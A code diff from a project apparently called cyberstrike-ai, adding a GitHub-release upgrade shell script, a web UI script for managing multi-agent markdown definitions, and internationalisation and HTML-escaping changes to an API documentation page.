+err() { log "[ERROR] $*"; }
+
+have_cmd() { command -v "$1" >/dev/null 2>&1; }
+
+http_get() {
+  # $1: url
+  if have_cmd curl; then
+    # If GITHUB_TOKEN is provided, use it for api.github.com to avoid low rate limits.
+    if [[ -n "${GITHUB_TOKEN:-}" && "$1" == https://api.github.com/* ]]; then
+      # Do not use `-f` so we can parse GitHub error JSON bodies and show `message`.
+      curl -sSL -H "Authorization: Bearer ${GITHUB_TOKEN}" "$1"
+    else
+      # Do not use `-f` so we can parse GitHub error JSON bodies and show `message`.
+      curl -sSL "$1"
+    fi
+  elif have_cmd wget; then
+    wget -qO- "$1"
+  else
+    err "curl or wget is required to download GitHub releases. Please install one of them."
+    exit 1
+  fi
+}
+
+stop_service() {
+  # Try to stop the service that is running from the current project directory.
+  # If nothing is found and --force-stop is enabled, stop all cyberstrike-ai processes.
+  if [[ "$STOP_SERVICE" -ne 1 ]]; then
+    return 0
+  fi
+
+  local pids=""
+  if have_cmd pgrep; then
+    # Prefer matches where the command line contains the current project path.
+    pids="$(pgrep -f "${ROOT_DIR}.*${BINARY_NAME}" || true)"
+    if [[ -z "$pids" && "$FORCE_STOP" -eq 1 ]]; then
+      warn "No ${BINARY_NAME} process found under the current directory. Will try to force-stop all matching ${BINARY_NAME} processes."
+      pids="$(pgrep -f "${BINARY_NAME}" || true)"
+    fi
+  fi
+
+  if [[ -z "$pids" ]]; then
+    info "No ${BINARY_NAME} process detected (or no matching process). Skipping stop step."
+    return 0
+  fi
+
+  warn "Detected running PID(s): ${pids}"
+  for pid in $pids; do
+    if kill -0 "$pid" 2>/dev/null; then
+      info "Sending SIGTERM to PID=${pid}..."
+      kill -TERM "$pid" 2>/dev/null || true
+    fi
+  done
+
+  # Wait for exit
+  local deadline=$((SECONDS + 20))
+  while [[ $SECONDS -lt $deadline ]]; do
+    local alive=0
+    for pid in $pids; do
+      if kill -0 "$pid" 2>/dev/null; then
+        alive=1
+        break
+      fi
+    done
+    if [[ "$alive" -eq 0 ]]; then
+      info "Service stopped."
+      return 0
+    fi
+    sleep 1
+  done
+
+  warn "Timed out waiting for processes to exit. Still running PID(s): ${pids} (may still hold file handles)."
+  return 0
+}
+
+backup_dir_tgz() {
+  # $1: label, $2: path
+  local label="$1"
+  local path="$2"
+  if [[ -e "$path" ]]; then
+    info "Backing up ${label} -> ${BACKUP_BASE_DIR}/$(basename "$path").tgz"
+    tar -czf "${BACKUP_BASE_DIR}/$(basename "$path").tgz" -C "$ROOT_DIR" "$(basename "$path")"
+  fi
+}
+
+backup_config() {
+  if [[ -f "$CONFIG_FILE" ]]; then
+    cp -a "$CONFIG_FILE" "${BACKUP_BASE_DIR}/config.yaml"
+  fi
+}
+
+ensure_git_style_env() {
+  # No hard requirement; just a sanity check.
+  if [[ ! -f "$CONFIG_FILE" ]]; then
+    err "Could not find ${CONFIG_FILE}. Please verify you are in the correct project directory."
+    exit 1
+  fi
+}
+
+confirm_or_exit() {
+  if [[ "$YES" -eq 1 ]]; then
+    return 0
+  fi
+
+  if [[ ! -t 0 ]]; then
+    err "Non-interactive terminal detected. Please add --yes to continue."
+    exit 1
+  fi
+
+  warn "About to perform upgrade:"
+  info " - Preserve config.yaml: yes"
+  info " - Preserve data/: yes"
+  if [[ "$PRESERVE_VENV" -eq 1 ]]; then
+    info " - Preserve venv/: yes"
+  else
+    info " - Preserve venv/: no (will remove old venv and re-install deps)"
+  fi
+  if [[ "$PRESERVE_CUSTOM" -eq 1 ]]; then
+    info " - Preserve roles/skills/tools: yes (may overwrite upstream updates)"
+  else
+    info " - Preserve roles/skills/tools: no (will use upstream versions)"
+  fi
+  info " - Stop service: ${STOP_SERVICE}"
+  echo ""
+  read -r -p "Continue? (y/N) " ans
+  if [[ "${ans:-N}" != "y" && "${ans:-N}" != "Y" ]]; then
+    err "Cancelled."
+    exit 1
+  fi
+}
+
+resolve_tag() {
+  if [[ -n "$TAG" ]]; then
+    info "Using specified tag: $TAG"
+    return 0
+  fi
+
+  local api_url="https://api.github.com/repos/${GITHUB_REPO}/releases/latest"
+  info "Fetching latest Release..."
+  local json
+  json="$(http_get "$api_url")"
+  TAG="$(printf '%s' "$json" | python3 - <<'PY'
+import json, sys
+data=json.loads(sys.stdin.read() or "{}")
+print(data.get("tag_name",""))
+PY
+)"
+
+  if [[ -z "$TAG" ]]; then
+    local msg
+    msg="$(printf '%s' "$json" | python3 -c "import sys,json; d=json.loads(sys.stdin.read() or '{}'); print(d.get('message',''))" 2>/dev/null || true)"
+
+    # Fallback: try query releases list (sometimes latest endpoint returns error JSON without tag_name).
+    local fallback_url="https://api.github.com/repos/${GITHUB_REPO}/releases?per_page=1"
+    info "Fallback to: ${fallback_url}"
+    local fallback_json
+    fallback_json="$(http_get "$fallback_url" 2>/dev/null || true)"
+    local fallback_tag
+    fallback_tag="$(printf '%s' "$fallback_json" | python3 -c "import sys,json; d=json.loads(sys.stdin.read() or '[]'); print(d[0].get('tag_name','') if isinstance(d,list) and d else '')" 2>/dev/null || true)"
+
+    if [[ -n "$fallback_tag" ]]; then
+      TAG="$fallback_tag"
+      info "Latest Release tag (fallback): $TAG"
+      return 0
+    fi
+
+    local snippet
+    snippet="$(printf '%s' "$json" | python3 -c "import sys; s=sys.stdin.read(); print(s[:300].replace('\\n',' '))" 2>/dev/null || true)"
+
+    if [[ -n "$msg" ]]; then
+      err "Failed to fetch latest tag: ${msg}"
+    else
+      err "Failed to fetch latest tag."
+    fi
+    if [[ -n "$snippet" ]]; then
+      err "API response snippet: ${snippet}"
+    fi
+    err "Please try using --tag to specify the version, or set export GITHUB_TOKEN=\"...\"."
+    exit 1
+  fi
+  info "Latest Release tag: $TAG"
+}
+
+update_config_version() {
+  # Replace config.yaml's version: ... with the specified tag.
+  local new_tag="$1"
+  python3 - "$CONFIG_FILE" "$new_tag" <<PY
+import re, sys
+path=sys.argv[1]
+tag=sys.argv[2]
+with open(path, "r", encoding="utf-8") as f:
+    lines=f.readlines()
+
+out=[]
+replaced=False
+for line in lines:
+    if re.match(r'^\s*version\s*:', line):
+        out.append(f'version: "{tag}"\\n')
+        replaced=True
+    else:
+        out.append(line)
+
+if not replaced:
+    # If no version field is found, insert at the beginning (near the top).
+    out.insert(0, f'version: "{tag}"\\n')
+
+with open(path, "w", encoding="utf-8") as f:
+    f.writelines(out)
+PY
+}
+
+sync_code() {
+  local tmp_dir="$1"
+  local new_src_dir="$2"
+
+  # rsync sync: overwrite files from the new version and delete removed files.
+  # Preserve user data/config (and optional directories).
+
+  if ! have_cmd rsync; then
+    err "rsync not found. This script depends on rsync for safe synchronization. Please install it and retry."
+    exit 1
+  fi
+
+  local -a rsync_excludes
+  rsync_excludes+=( "--exclude=.upgrade-backup/" )
+  rsync_excludes+=( "--exclude=config.yaml" )
+  rsync_excludes+=( "--exclude=data/" )
+
+  if [[ "$PRESERVE_VENV" -eq 1 ]]; then
+    rsync_excludes+=( "--exclude=venv/" )
+  fi
+
+  # knowledge_base may not be referenced in config, but many users treat it as the knowledge files directory.
+  if [[ -d "$KNOWLEDGE_BASE_DIR" ]]; then
+    rsync_excludes+=( "--exclude=knowledge_base/" )
+  fi
+
+  if [[ "$PRESERVE_CUSTOM" -eq 1 ]]; then
+    rsync_excludes+=( "--exclude=roles/" )
+    rsync_excludes+=( "--exclude=skills/" )
+    rsync_excludes+=( "--exclude=tools/" )
+  fi
+
+  # Ensure this upgrade script itself is not deleted.
+  rsync_excludes+=( "--exclude=upgrade.sh" )
+
+  # shellcheck disable=SC2068
+  info "Syncing code into current directory (preserving data/config; using rsync --delete)..."
+  rsync -a --delete \
+    ${rsync_excludes[@]} \
+    "${new_src_dir}/" "${ROOT_DIR}/"
+}
+
+main() {
+  ensure_git_style_env
+
+  while [[ $# -gt 0 ]]; do
+    case "$1" in
+      --tag)
+        TAG="${2:-}"
+        shift 2
+        ;;
+      --preserve-custom)
+        PRESERVE_CUSTOM=1
+        shift 1
+        ;;
+      --no-venv)
+        PRESERVE_VENV=0
+        shift 1
+        ;;
+      --no-stop)
+        STOP_SERVICE=0
+        shift 1
+        ;;
+      --force-stop)
+        FORCE_STOP=1
+        shift 1
+        ;;
+      --yes)
+        YES=1
+        shift 1
+        ;;
+      -h|--help)
+        usage
+        exit 0
+        ;;
+      *)
+        err "Unknown parameter: $1"
+        usage
+        exit 1
+        ;;
+    esac
+  done
+
+  confirm_or_exit
+
+  stop_service
+
+  resolve_tag
+
+  local ts
+  ts="$(date +"%Y%m%d_%H%M%S")"
+  BACKUP_BASE_DIR="${BACKUP_BASE_DIR}/${ts}"
+  mkdir -p "$BACKUP_BASE_DIR"
+
+  info "Starting backup into: $BACKUP_BASE_DIR"
+  backup_config
+  backup_dir_tgz "data" "$DATA_DIR"
+  if [[ "$PRESERVE_VENV" -eq 1 ]]; then
+    backup_dir_tgz "venv" "$VENV_DIR"
+  else
+    if [[ -d "$VENV_DIR" ]]; then
+      warn "With --no-venv: removing old venv/ (run.sh will re-install Python deps after upgrade)."
+      rm -rf "$VENV_DIR"
+    fi
+  fi
+  if [[ -d "$KNOWLEDGE_BASE_DIR" ]]; then
+    backup_dir_tgz "knowledge_base" "$KNOWLEDGE_BASE_DIR"
+  fi
+  if [[ "$PRESERVE_CUSTOM" -eq 1 ]]; then
+    backup_dir_tgz "roles" "$ROOT_DIR/roles"
+    backup_dir_tgz "skills" "$ROOT_DIR/skills"
+    backup_dir_tgz "tools" "$ROOT_DIR/tools"
+  fi
+
+  local tmp_dir
+  tmp_dir="$(mktemp -d)"
+  trap 'rm -rf "$tmp_dir" >/dev/null 2>&1 || true' EXIT
+
+  local tarball="${tmp_dir}/source.tar.gz"
+  local url="https://github.com/${GITHUB_REPO}/archive/refs/tags/${TAG}.tar.gz"
+  info "Downloading source package: ${url}"
+  http_get "$url" >"$tarball"
+
+  info "Extracting source package..."
+  tar -xzf "$tarball" -C "$tmp_dir"
+
+  # GitHub tarball usually creates a top-level directory.
+  local extracted_dir
+  extracted_dir="$(ls -d "${tmp_dir}"/*/ 2>/dev/null | head -n 1 || true)"
+  if [[ -z "$extracted_dir" || ! -f "${extracted_dir}/run.sh" ]]; then
+    err "run.sh not found in the extracted directory. Please check network/download contents."
+    exit 1
+  fi
+
+  sync_code "$tmp_dir" "$extracted_dir"
+
+  # Update config.yaml version display
+  if [[ -f "$CONFIG_FILE" ]]; then
+    info "Updating config.yaml version field to: $TAG"
+    update_config_version "$TAG"
+  fi
+
+  info "Upgrade complete. Starting service..."
+  chmod +x ./run.sh
+  ./run.sh
+}
+
+main "$@"
+

web/static/js/agents.js

@@ -0,0 +1,227 @@
+// 多代理子 Agent Markdown（agents/*.md）管理
+function _agentsT(key, opts) {
+    return typeof window.t === 'function' ? window.t(key, opts) : key;
+}
+
+let markdownAgentsEditingFilename = null;
+let markdownAgentsEditingIsOrchestrator = false;
+
+function bindAgentsMdListDelegation() {
+    const listEl = document.getElementById('agents-md-list');
+    if (!listEl || listEl.dataset.agentsClickBound === '1') return;
+    listEl.dataset.agentsClickBound = '1';
+    listEl.addEventListener('click', function (e) {
+        var t = e.target;
+        if (!t || !t.closest) return;
+        var editBtn = t.closest('[data-action="edit-agent-md"]');
+        var delBtn = t.closest('[data-action="delete-agent-md"]');
+        if (editBtn) {
+            var f = editBtn.getAttribute('data-agent-file');
+            if (f) {
+                try { editMarkdownAgent(decodeURIComponent(f)); } catch (err) { console.warn(err); }
+            }
+            return;
+        }
+        if (delBtn) {
+            var f2 = delBtn.getAttribute('data-agent-file');
+            if (f2) {
+                try { deleteMarkdownAgent(decodeURIComponent(f2)); } catch (err2) { console.warn(err2); }
+            }
+        }
+    });
+}
+
+async function loadMarkdownAgents() {
+    const listEl = document.getElementById('agents-md-list');
+    const dirEl = document.getElementById('agents-md-dir');
+    if (!listEl) return;
+    bindAgentsMdListDelegation();
+    listEl.innerHTML = '<div class="loading-spinner">' + _agentsT('agentsPage.loading') + '</div>';
+    try {
+        const r = await apiFetch('/api/multi-agent/markdown-agents');
+        const data = await r.json();
+        if (!r.ok) {
+            throw new Error(data.error || r.statusText);
+        }
+        if (dirEl) {
+            const d = data.dir || '';
+            dirEl.textContent = d ? (_agentsT('agentsPage.dirLabel') + ': ' + d) : '';
+        }
+        const agents = data.agents || [];
+        if (agents.length === 0) {
+            listEl.innerHTML = '<div class="empty-state">' + _agentsT('agentsPage.empty') + '</div>';
+            return;
+        }
+        agents.sort(function (x, y) {
+            var ox = x.is_orchestrator ? 1 : 0;
+            var oy = y.is_orchestrator ? 1 : 0;
+            return oy - ox;
+        });
+        listEl.innerHTML = agents.map(function (a) {
+            const rawFn = a.filename || '';
+            const fn = escapeHtml(rawFn);
+            const id = escapeHtml(a.id || '');
+            const name = escapeHtml(a.name || '');
+            const desc = escapeHtml(a.description || _agentsT('agentsPage.noDesc'));
+            const orch = !!a.is_orchestrator;
+            const badgeLabel = orch ? _agentsT('agentsPage.badgeOrchestrator') : _agentsT('agentsPage.badgeSub');
+            const badgeClass = orch ? 'agent-role-badge agent-role-badge--orchestrator' : 'agent-role-badge agent-role-badge--sub';
+            return (
+                '<div class="skill-card">' +
+                '<div class="skill-card-header">' +
+                '<h3 class="skill-card-title">' + name + '<span class="' + badgeClass + '">' + escapeHtml(badgeLabel) + '</span></h3>' +
+                '<div class="skill-card-description"><code>' + fn + '</code> · id: <code>' + id + '</code><br>' + desc + '</div>' +
+                '</div>' +
+                '<div class="skill-card-actions">' +
+                '<button type="button" class="btn-secondary btn-small" data-action="edit-agent-md" data-agent-file="' + encodeURIComponent(rawFn) + '">' + escapeHtml(_agentsT('common.edit')) + '</button>' +
+                '<button type="button" class="btn-secondary btn-small btn-danger" data-action="delete-agent-md" data-agent-file="' + encodeURIComponent(rawFn) + '">' + escapeHtml(_agentsT('common.delete')) + '</button>' +
+                '</div></div>'
+            );
+        }).join('');
+    } catch (e) {
+        console.error(e);
+        listEl.innerHTML = '<div class="empty-state">' + escapeHtml(e.message || String(e)) + '</div>';
+        showNotification(_agentsT('agentsPage.loadFailed') + ': ' + e.message, 'error');
+    }
+}
+
+function showAddMarkdownAgentModal() {
+    markdownAgentsEditingFilename = null;
+    markdownAgentsEditingIsOrchestrator = false;
+    const modal = document.getElementById('agent-md-modal');
+    const title = document.getElementById('agent-md-modal-title');
+    const row = document.getElementById('agent-md-filename-row');
+    if (title) title.textContent = _agentsT('agentsPage.createTitle');
+    if (row) row.style.display = '';
+    document.getElementById('agent-md-filename-current').value = '';
+    document.getElementById('agent-md-filename').value = '';
+    document.getElementById('agent-md-filename').disabled = false;
+    var roleEl = document.getElementById('agent-md-role');
+    if (roleEl) roleEl.value = 'sub';
+    document.getElementById('agent-md-id').value = '';
+    document.getElementById('agent-md-name').value = '';
+    document.getElementById('agent-md-description').value = '';
+    document.getElementById('agent-md-tools').value = '';
+    document.getElementById('agent-md-bind-role').value = '';
+    document.getElementById('agent-md-max-iter').value = '0';
+    document.getElementById('agent-md-instruction').value = '';
+    if (modal) modal.style.display = 'flex';
+}
+
+async function editMarkdownAgent(filename) {
+    if (!filename) return;
+    const modal = document.getElementById('agent-md-modal');
+    const title = document.getElementById('agent-md-modal-title');
+    const row = document.getElementById('agent-md-filename-row');
+    markdownAgentsEditingFilename = null;
+    markdownAgentsEditingIsOrchestrator = false;
+    if (title) title.textContent = _agentsT('agentsPage.editTitle');
+    if (row) row.style.display = 'none';
+    try {
+        const r = await apiFetch('/api/multi-agent/markdown-agents/' + encodeURIComponent(filename));
+        const data = await r.json();
+        if (!r.ok) throw new Error(data.error || r.statusText);
+        markdownAgentsEditingFilename = data.filename || filename;
+        markdownAgentsEditingIsOrchestrator = !!data.is_orchestrator;
+        document.getElementById('agent-md-filename-current').value = data.filename || filename;
+        document.getElementById('agent-md-filename').value = data.filename || filename;
+        document.getElementById('agent-md-filename').disabled = true;
+        var roleEl2 = document.getElementById('agent-md-role');
+        if (roleEl2) roleEl2.value = data.is_orchestrator ? 'orchestrator' : 'sub';
+        document.getElementById('agent-md-id').value = data.id || '';
+        document.getElementById('agent-md-name').value = data.name || '';
+        document.getElementById('agent-md-description').value = data.description || '';
+        document.getElementById('agent-md-tools').value = Array.isArray(data.tools) ? data.tools.join(', ') : '';
+        document.getElementById('agent-md-bind-role').value = data.bind_role || '';
+        document.getElementById('agent-md-max-iter').value = String(data.max_iterations != null ? data.max_iterations : 0);
+        document.getElementById('agent-md-instruction').value = data.instruction || '';
+        if (modal) modal.style.display = 'flex';
+    } catch (e) {
+        showNotification(_agentsT('agentsPage.loadOneFailed') + ': ' + e.message, 'error');
+    }
+}
+
+function closeMarkdownAgentModal() {
+    const modal = document.getElementById('agent-md-modal');
+    if (modal) modal.style.display = 'none';
+    markdownAgentsEditingFilename = null;
+    markdownAgentsEditingIsOrchestrator = false;
+}
+
+function parseToolsInput(s) {
+    if (!s || !String(s).trim()) return [];
+    return String(s).split(/[,;|]/).map(function (x) { return x.trim(); }).filter(Boolean);
+}
+
+async function saveMarkdownAgent() {
+    const name = document.getElementById('agent-md-name').value.trim();
+    if (!name) {
+        showNotification(_agentsT('agentsPage.nameRequired'), 'error');
+        return;
+    }
+    const roleSel = document.getElementById('agent-md-role');
+    const roleVal = roleSel ? roleSel.value : 'sub';
+    const fnDraft = (document.getElementById('agent-md-filename') && document.getElementById('agent-md-filename').value.trim().toLowerCase()) || '';
+    const isOrchestratorAgent = markdownAgentsEditingIsOrchestrator ||
+        roleVal === 'orchestrator' ||
+        fnDraft === 'orchestrator.md';
+    const instruction = document.getElementById('agent-md-instruction').value.trim();
+    if (!isOrchestratorAgent && !instruction) {
+        showNotification(_agentsT('agentsPage.instructionRequired'), 'error');
+        return;
+    }
+    const body = {
+        id: document.getElementById('agent-md-id').value.trim(),
+        name: name,
+        description: document.getElementById('agent-md-description').value.trim(),
+        tools: parseToolsInput(document.getElementById('agent-md-tools').value),
+        instruction: instruction,
+        bind_role: document.getElementById('agent-md-bind-role').value.trim(),
+        max_iterations: parseInt(document.getElementById('agent-md-max-iter').value, 10) || 0,
+        kind: roleVal === 'orchestrator' ? 'orchestrator' : ''
+    };
+    const isEdit = !!markdownAgentsEditingFilename;
+    let url;
+    let method;
+    if (isEdit) {
+        url = '/api/multi-agent/markdown-agents/' + encodeURIComponent(markdownAgentsEditingFilename);
+        method = 'PUT';
+    } else {
+        url = '/api/multi-agent/markdown-agents';
+        method = 'POST';
+        const fn = document.getElementById('agent-md-filename').value.trim();
+        if (fn && !/^[a-zA-Z0-9][a-zA-Z0-9_.-]*\.md$/.test(fn)) {
+            showNotification(_agentsT('agentsPage.filenameInvalid'), 'error');
+            return;
+        }
+        body.filename = fn;
+    }
+    try {
+        const r = await apiFetch(url, {
+            method: method,
+            headers: { 'Content-Type': 'application/json' },
+            body: JSON.stringify(body)
+        });
+        const data = await r.json().catch(function () { return {}; });
+        if (!r.ok) throw new Error(data.error || r.statusText);
+        showNotification(isEdit ? _agentsT('agentsPage.saveOk') : _agentsT('agentsPage.createOk'), 'success');
+        closeMarkdownAgentModal();
+        await loadMarkdownAgents();
+    } catch (e) {
+        showNotification(_agentsT('agentsPage.saveFailed') + ': ' + e.message, 'error');
+    }
+}
+
+async function deleteMarkdownAgent(filename) {
+    if (!filename) return;
+    if (!confirm(_agentsT('agentsPage.deleteConfirm', { name: filename }))) return;
+    try {
+        const r = await apiFetch('/api/multi-agent/markdown-agents/' + encodeURIComponent(filename), { method: 'DELETE' });
+        const data = await r.json().catch(function () { return {}; });
+        if (!r.ok) throw new Error(data.error || r.statusText);
+        showNotification(_agentsT('agentsPage.deleteOk'), 'success');
+        await loadMarkdownAgents();
+    } catch (e) {
+        showNotification(_agentsT('agentsPage.deleteFailed') + ': ' + e.message, 'error');
+    }
+}

web/static/js/api-docs.js

@@ -3,13 +3,74 @@
 let apiSpec = null;
 let currentToken = null;
 
+function _t(key, opts) {
+    return typeof window.t === 'function' ? window.t(key, opts) : key;
+}
+
+function waitForI18n() {
+    return new Promise(function (resolve) {
+        if (window.t) return resolve();
+        var n = 0;
+        var iv = setInterval(function () {
+            if (window.t) { clearInterval(iv); resolve(); return; }
+            n++;
+            if (n >= 100) { clearInterval(iv); resolve(); }
+        }, 50);
+    });
+}
+
+// 从 OpenAPI spec 的 x-i18n-tags 构建 tag -> i18n key 映射（方案 A：后端提供键）
+var apiSpecTagToKey = {};
+function buildApiSpecTagToKey() {
+    apiSpecTagToKey = {};
+    if (!apiSpec || !apiSpec.paths) return;
+    Object.keys(apiSpec.paths).forEach(function (path) {
+        var pathItem = apiSpec.paths[path];
+        if (!pathItem || typeof pathItem !== 'object') return;
+        ['get', 'post', 'put', 'delete', 'patch'].forEach(function (method) {
+            var op = pathItem[method];
+            if (!op || !op.tags || !op['x-i18n-tags']) return;
+            var tags = op.tags;
+            var keys = op['x-i18n-tags'];
+            for (var i = 0; i < tags.length && i < keys.length; i++) {
+                apiSpecTagToKey[tags[i]] = typeof keys[i] === 'string' ? keys[i] : keys[i];
+            }
+        });
+    });
+}
+function translateApiDocTag(tag) {
+    if (!tag) return tag;
+    var key = apiSpecTagToKey[tag];
+    return key ? _t('apiDocs.tags.' + key) : tag;
+}
+function translateApiDocSummaryFromOp(op) {
+    var key = op && op['x-i18n-summary'];
+    if (key) return _t('apiDocs.summary.' + key);
+    return op && op.summary ? op.summary : '';
+}
+function translateApiDocResponseDescFromResp(resp) {
+    if (!resp) return '';
+    var key = resp['x-i18n-description'];
+    if (key) return _t('apiDocs.response.' + key);
+    return resp.description || '';
+}
+
 // 初始化
 document.addEventListener('DOMContentLoaded', async () => {
+    await waitForI18n();
     await loadToken();
     await loadAPISpec();
     if (apiSpec) {
         renderAPIDocs();
     }
+    document.addEventListener('languagechange', function () {
+        if (typeof window.applyTranslations === 'function') {
+            window.applyTranslations(document);
+        }
+        if (apiSpec) {
+            renderAPIDocs();
+        }
+    });
 });
 
 // 加载token
@@ -43,22 +104,25 @@ async function loadAPISpec() {
         const response = await fetch(url);
         if (!response.ok) {
             if (response.status === 401) {
-                showError('需要登录才能查看API文档。请先在前端页面登录，然后刷新此页面。');
+                showError(_t('apiDocs.errorLoginRequired'));
                 return;
             }
-            throw new Error('加载API规范失败: ' + response.status);
+            throw new Error(_t('apiDocs.errorLoadSpec') + response.status);
         }
         
         apiSpec = await response.json();
+        buildApiSpecTagToKey();
     } catch (error) {
         console.error('加载API规范失败:', error);
-        showError('加载API文档失败: ' + error.message);
+        showError(_t('apiDocs.errorLoadFailed') + error.message);
     }
 }
 
 // 显示错误
 function showError(message) {
     const main = document.getElementById('api-docs-main');
+    const loadFailed = _t('apiDocs.loadFailed');
+    const backToLogin = _t('apiDocs.backToLogin');
     main.innerHTML = `
         <div class="empty-state">
             <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
@@ -66,10 +130,10 @@ function showError(message) {
                 <line x1="15" y1="9" x2="9" y2="15"/>
                 <line x1="9" y1="9" x2="15" y2="15"/>
             </svg>
-            <h3>加载失败</h3>
-            <p>${message}</p>
+            <h3>${escapeHtml(loadFailed)}</h3>
+            <p>${escapeHtml(message)}</p>
             <div style="margin-top: 16px;">
-                <a href="/" style="color: var(--accent-color); text-decoration: none;">返回首页登录</a>
+                <a href="/" style="color: var(--accent-color); text-decoration: none;">${escapeHtml(backToLogin)}</a>
             </div>
         </div>
     `;
@@ -78,7 +142,7 @@ function showError(message) {
 // 渲染API文档
 function renderAPIDocs() {
     if (!apiSpec || !apiSpec.paths) {
-        showError('API规范格式错误');
+        showError(_t('apiDocs.errorSpecInvalid'));
         return;
     }
     
@@ -109,7 +173,7 @@ function renderAuthInfo() {
         tokenStatus.style.display = 'block';
         tokenStatus.style.background = 'rgba(255, 152, 0, 0.1)';
         tokenStatus.style.borderLeftColor = '#ff9800';
-        tokenStatus.innerHTML = '<p style="margin: 0; font-size: 0.8125rem; color: #ff9800;"><strong>⚠ 未检测到 Token</strong> - 请先在前端页面登录，然后刷新此页面。测试接口时需要在请求头中添加 Authorization: Bearer token</p>';
+        tokenStatus.innerHTML = '<p style="margin: 0; font-size: 0.8125rem; color: #ff9800;">' + escapeHtml(_t('apiDocs.tokenNotDetected')) + '</p>';
     }
 }
 
@@ -127,11 +191,14 @@ function renderSidebar() {
     
     const groupList = document.getElementById('api-group-list');
     const allGroups = Array.from(groups).sort();
-    
+    while (groupList.children.length > 1) {
+        groupList.removeChild(groupList.lastChild);
+    }
     allGroups.forEach(group => {
         const li = document.createElement('li');
         li.className = 'api-group-item';
-        li.innerHTML = `<a href="#" class="api-group-link" data-group="${group}">${group}</a>`;
+        const groupLabel = translateApiDocTag(group);
+        li.innerHTML = `<a href="#" class="api-group-link" data-group="${escapeHtml(group)}">${escapeHtml(groupLabel)}</a>`;
         groupList.appendChild(li);
     });
     
@@ -176,7 +243,7 @@ function renderEndpoints(filterGroup = null) {
     });
     
     if (endpoints.length === 0) {
-        main.innerHTML = '<div class="empty-state"><h3>暂无API</h3><p>该分组下没有API端点</p></div>';
+        main.innerHTML = '<div class="empty-state"><h3>' + escapeHtml(_t('apiDocs.noApis')) + '</h3><p>' + escapeHtml(_t('apiDocs.noEndpointsInGroup')) + '</p></div>';
         return;
     }
     
@@ -192,8 +259,8 @@ function createEndpointCard(endpoint) {
     
     const methodClass = endpoint.method.toLowerCase();
     const tags = endpoint.tags || [];
-    const tagHtml = tags.map(tag => `<span class="api-tag">${tag}</span>`).join('');
-    
+    const tagHtml = tags.map(tag => `<span class="api-tag">${escapeHtml(translateApiDocTag(tag))}</span>`).join('');
+    const summaryText = translateApiDocSummaryFromOp(endpoint);
     card.innerHTML = `
         <div class="api-endpoint-header">
             <div class="api-endpoint-title">
@@ -204,21 +271,21 @@ function createEndpointCard(endpoint) {
         </div>
         <div class="api-endpoint-body">
             <div class="api-section">
-                <div class="api-section-title">描述</div>
-                ${endpoint.summary ? `<div class="api-description" style="font-weight: 500; margin-bottom: 8px; color: var(--text-primary);">${escapeHtml(endpoint.summary)}</div>` : ''}
+                <div class="api-section-title">${escapeHtml(_t('apiDocs.sectionDescription'))}</div>
+                ${summaryText ? `<div class="api-description" style="font-weight: 500; margin-bottom: 8px; color: var(--text-primary);">${escapeHtml(summaryText)}</div>` : ''}
                 ${endpoint.description ? `
                     <div class="api-description-toggle">
                         <button class="description-toggle-btn" onclick="toggleDescription(this)">
                             <svg class="description-toggle-icon" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
                                 <polyline points="6 9 12 15 18 9"/>
                             </svg>
-                            <span>查看详细说明</span>
+                            <span>${escapeHtml(_t('apiDocs.viewDetailDesc'))}</span>
                         </button>
                         <div class="api-description-detail" style="display: none;">
                             ${formatDescription(endpoint.description)}
                         </div>
                     </div>
-                ` : endpoint.summary ? '' : '<div class="api-description">无描述</div>'}
+                ` : endpoint.summary ? '' : '<div class="api-description">' + escapeHtml(_t('apiDocs.noDescription')) + '</div>'}
             </div>
             
             ${renderParameters(endpoint)}
@@ -236,8 +303,10 @@ function renderParameters(endpoint) {
     const params = endpoint.parameters || [];
     if (params.length === 0) return '';
     
+    const requiredLabel = escapeHtml(_t('apiDocs.required'));
+    const optionalLabel = escapeHtml(_t('apiDocs.optional'));
     const rows = params.map(param => {
-            const required = param.required ? '<span class="api-param-required">必需</span>' : '<span class="api-param-optional">可选</span>';
+            const required = param.required ? '<span class="api-param-required">' + requiredLabel + '</span>' : '<span class="api-param-optional">' + optionalLabel + '</span>';
         // 处理描述文本，将换行符转换为<br>
         let descriptionHtml = '-';
         if (param.description) {
@@ -255,17 +324,20 @@ function renderParameters(endpoint) {
         `;
     }).join('');
     
+    const paramName = escapeHtml(_t('apiDocs.paramName'));
+    const typeLabel = escapeHtml(_t('apiDocs.type'));
+    const descLabel = escapeHtml(_t('apiDocs.description'));
     return `
         <div class="api-section">
-            <div class="api-section-title">参数</div>
+            <div class="api-section-title">${escapeHtml(_t('apiDocs.sectionParams'))}</div>
             <div class="api-table-wrapper">
                 <table class="api-params-table">
                     <thead>
                         <tr>
-                            <th>参数名</th>
-                            <th>类型</th>
-                            <th>描述</th>
-                            <th>必需</th>
+                            <th>${paramName}</th>
+                            <th>${typeLabel}</th>
+                            <th>${descLabel}</th>
+                            <th>${requiredLabel}</th>
                         </tr>
                     </thead>
                     <tbody>
@@ -297,11 +369,13 @@ function renderRequestBody(endpoint) {
     let paramsTable = '';
     if (schema.properties) {
         const requiredFields = schema.required || [];
+        const reqLabel = escapeHtml(_t('apiDocs.required'));
+        const optLabel = escapeHtml(_t('apiDocs.optional'));
         const rows = Object.keys(schema.properties).map(key => {
             const prop = schema.properties[key];
             const required = requiredFields.includes(key) 
-                ? '<span class="api-param-required">必需</span>' 
-                : '<span class="api-param-optional">可选</span>';
+                ? '<span class="api-param-required">' + reqLabel + '</span>' 
+                : '<span class="api-param-optional">' + optLabel + '</span>';
             
             // 处理嵌套类型
             let typeDisplay = prop.type || 'object';
@@ -338,16 +412,20 @@ function renderRequestBody(endpoint) {
         }).join('');
         
         if (rows) {
+            const pName = escapeHtml(_t('apiDocs.paramName'));
+            const tLabel = escapeHtml(_t('apiDocs.type'));
+            const dLabel = escapeHtml(_t('apiDocs.description'));
+            const exLabel = escapeHtml(_t('apiDocs.example'));
             paramsTable = `
                 <div class="api-table-wrapper" style="margin-top: 12px;">
                     <table class="api-params-table">
                         <thead>
                             <tr>
-                                <th>参数名</th>
-                                <th>类型</th>
-                                <th>描述</th>
-                                <th>必需</th>
-                                <th>示例</th>
+                                <th>${pName}</th>
+                                <th>${tLabel}</th>
+                                <th>${dLabel}</th>
+                                <th>${reqLabel}</th>
+                                <th>${exLabel}</th>
                             </tr>
                         </thead>
                         <tbody>
